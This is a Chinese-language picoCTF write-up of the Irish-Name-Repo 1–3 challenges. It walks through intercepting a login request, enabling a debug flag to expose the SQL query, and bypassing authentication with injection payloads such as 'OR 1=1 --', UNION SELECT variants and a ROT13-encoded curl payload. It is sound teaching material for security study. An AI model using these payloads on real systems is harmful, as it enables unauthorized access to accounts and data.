## 首頁(其他picoCTF writeup)
https://hackmd.io/@sunfrancis12/ry_LLAgp3
作者: [台中教育大學 白帽社](https://hackmd.io/@ntcuhack/index) -sunfrancis12
## Irish-Name-Repo 1
這題十分簡單,屬於基礎的SQL injection
近來網站後逛一逛,看到Login Admin,點擊後就進到這裡了

隨便登入後,出現了以下畫面

打開Burp,把interprect功能打開,再試著重新登入一次
攔截到的封包內容如下:
```
POST /problem/39720/login.php HTTP/1.1
Host: jupiter.challenges.picoctf.org
Content-Length: 31
Cache-Control: max-age=0
Sec-Ch-Ua:
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: ""
Upgrade-Insecure-Requests: 1
Origin: https://jupiter.challenges.picoctf.org
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://jupiter.challenges.picoctf.org/problem/39720/login.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
username=sd&password=sd&debug=0
```
可以看到body的部分,有我們想要的訊息
```
username=sd&password=sd&debug=0
```
我們修改body內容中的`debug`,並繼續送出
```
username=sd&password=sd&debug=1
```
網站內容如下:

其中的錯誤訊息顯示了他用來查詢資料庫的SQL指令
```
SQL query: SELECT * FROM users WHERE name='sd' AND password='sd'
```
我們就可以做SQL injection了,`username`輸入如下`password`隨便輸入
```
'OR 1=1 --
```

伺服器端看到的結果為:
```
SQL query: SELECT * FROM users WHERE name=''OR 1=1 -- ' AND password='sd'
```
登入後就拿到flag了
### 補充:除了'OR 1=1以外的用法
除了上述方法外,也有其他SQL injection的用法
```
*以下符號都能當作註解使用
'OR 1=1 --
'OR 1=1 /*
'OR 1=1;
```
也可以用`UNION`來操作:
```
' UNION SELECT * FROM users ;
```
### UNION
`UNION`是SQL的運算子,代表聯集,來將兩個(以上) SQL 查詢結果合併起來
我們可以利用`UNION`來聯集其他可以回傳表格的SQL查詢,讓SQL查詢有回傳東西,藉此通過伺服器驗證
但是再使用UNION前,必須知道先知道`TABE`和`Column`的名字
假設我們有一個SQL TABLE`users`:
### Table: users
| user | password |
| -------- | -------- |
| guest | guest |
| admin | admin |
| king | king |
我們使用以下指令進行搜尋
```
SELECT * FROM users WHERE user='guest'
```
搜尋結果:
| user | password |
| -------- | -------- |
| guest | guest |
我們使用`UNION`將兩筆搜尋結果聯集
```
SELECT * FROM users WHERE user='guest' UNION SELECT * FROM users WHERE user='king'
```
回傳結果:
| user | password |
| -------- | -------- |
| guest | guest |
| king | king |
我們回到題目,如果對我們剛剛的TABLE做查詢
```
SELECT * FROM users WHERE user=''UNION SELECT * FROM users; ' AND password='sd'
```
會回傳以下結果
| user | password |
| -------- | -------- |
| guest | guest |
| admin | admin |
| king | king |
## Irish-Name-Repo 2
我們試試看第一題可行的方法,發現他會偵測出SQL injection

我們再`username`輸入
```
admin';
```

伺服器端看到的指令如下:
```
SELECT * FROM users WHERE name='admin';' AND password='sd'
```
代表如果有找到`name` = `admin`的話,就會回傳一個表格
登入後即可拿到flag
## Irish-Name-Repo 3
其實第三題跟SQL injection沒什麼太大關係
我們先隨便輸入登入
由於密碼會被屏蔽,所以這裡我用curl的方式來進行,讓大家看的到我輸入的內容
```
"password=sd&debug=1"
```
完整指令如下:
```
curl -X POST https://jupiter.challenges.picoctf.org/problem/29132/login.php --data "password=sd&debug=1"
```
回傳的結果:
```
<pre>password: sd
SQL query: SELECT * FROM admin where password = 'fq'
</pre><h1>Login failed.</h1>
```
可以看到我們輸入的`password`是sd但是錯誤訊息顯示的卻是fq,代表我們輸入的內容應該經過某種加密
我們換輸入fq,得到的結果是sd,代表他的加密方式應該是將英文字母倆倆對調
```
<pre>password: fq
SQL query: SELECT * FROM admin where password = 'sd'
```
我們試著輸入or,得到結果be
```
<pre>password: or
SQL query: SELECT * FROM admin where password = 'be'
```
我們再輸入以下內容:
```
'be 1=1 --
```
curl指令如下:
```
curl -X POST https://jupiter.challenges.picoctf.org/problem/29132/login.php --data "password='be 1=1 --&debug=1"
```
完成後即可看到flag